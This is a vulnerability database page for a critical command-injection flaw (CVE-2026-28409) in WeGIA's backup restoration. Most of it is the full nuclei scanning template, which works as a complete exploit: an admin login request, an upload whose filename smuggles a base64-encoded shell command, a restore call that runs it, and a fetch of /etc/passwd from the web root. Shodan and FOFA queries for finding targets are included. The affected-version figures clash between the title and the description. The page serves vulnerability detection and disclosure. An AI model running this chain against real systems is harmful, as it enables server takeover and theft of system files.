Browse / CVEs / CVE-2026-28409
CVE-2026-28409· labredescefetRJ / wegia· CWE-78
WeGIA <= 3.6.4 - Remote Code Execution
criticalseverity
10CVSS score
3.6%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it
WeGIA <= 3.6.5 contains a remote code execution caused by improper validation of backup file names in the database restoration functionality, letting attackers with administrative access execute arbitrary OS commands
Impact
Attackers with admin access can execute arbitrary OS commands, potentially leading to full server compromise.
Fix
Upgrade to version 3.6.5 or later.
How to confirm it
Send: POST /WeGIA/html/login.php
Positive when: status_code == 200
Send: POST /WeGIA/html/configuracao/importar_dump.php
Positive when: status_code == 302
Send: GET /WeGIA/html/configuracao/gerenciar_backup.php?action=restore&file=dump%3Bexport+F%3D{{filename}}%3Beval+%24%28echo+Y2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRt…
Positive when: status_code == 200
Send: GET /WeGIA/{{filename}}.txt
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2026-28409 -u <target>
The full check
id: CVE-2026-28409
info:
name: WeGIA <= 3.6.4 - Remote Code Execution
author: 0x_Akoko
severity: critical
description: |
WeGIA <= 3.6.5 contains a remote code execution caused by improper validation of backup file names in the database restoration functionality, letting attackers with administrative access execute arbitrary OS commands
impact: |
Attackers with admin access can execute arbitrary OS commands, potentially leading to full server compromise.
remediation: |
Upgrade to version 3.6.5 or later.
reference:
- https://cxsecurity.com/issue/WLB-2026030009
- https://github.com/LabRedesCefetRJ/WeGIA
- https://nvd.nist.gov/vuln/detail/CVE-2026-28409
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2026-28409
epss-score: 0.0362
epss-percentile: 0.89611
cwe-id: CWE-78
metadata:
verified: true
max-request: 4
vendor: labredescefetRJ
product: wegia
shodan-query: http.html:"WeGIA"
fofa-query: body="WeGIA"
tags: cve,cve2026,wegia,rce,vkev
variables:
filename: "{{to_lower(rand_text_alpha(8))}}"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
POST /WeGIA/html/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
c=true&cpf=admin&id_pessoa=1
extractors:
- type: regex
name: session
part: header
group: 1
regex:
- 'PHPSESSID=([a-zA-Z0-9]+)'
internal: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
- raw:
- |
POST /WeGIA/html/configuracao/importar_dump.php HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID={{session}}
Content-Type: multipart/form-data; boundary=----test0boundary
------test0boundary
Content-Disposition: form-data; name="usuario"
1
------test0boundary
Content-Disposition: form-data; name="id_pessoa"
1
------test0boundary
Content-Disposition: form-data; name="import"; filename="dump;export F={{filename}};eval $(echo Y2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9XZUdJQS8kRi50eHQ= | base64 -d);poc.dump.tar.gz"
Content-Type: application/gzip
{{hex_decode("1f8b08000000000000030300000000000000000000")}}
------test0boundary--
matchers:
- type: dsl
dsl:
- 'status_code == 302'
internal: true
- raw:
- |
GET /WeGIA/html/configuracao/gerenciar_backup.php?action=restore&file=dump%3Bexport+F%3D{{filename}}%3Beval+%24%28echo+Y2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9XZUdJQS8kRi50eHQ%3D+%7C+base64+-d%29%3Bpoc.dump.tar.gz&usuario=1&id_pessoa=1 HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID={{session}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
- raw:
- |
GET /WeGIA/{{filename}}.txt HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://cxsecurity.com/issue/WLB-2026030009
- https://github.com/LabRedesCefetRJ/WeGIA
- https://nvd.nist.gov/vuln/detail/CVE-2026-28409
Use this check only on systems you are authorised to test. Where the data comes from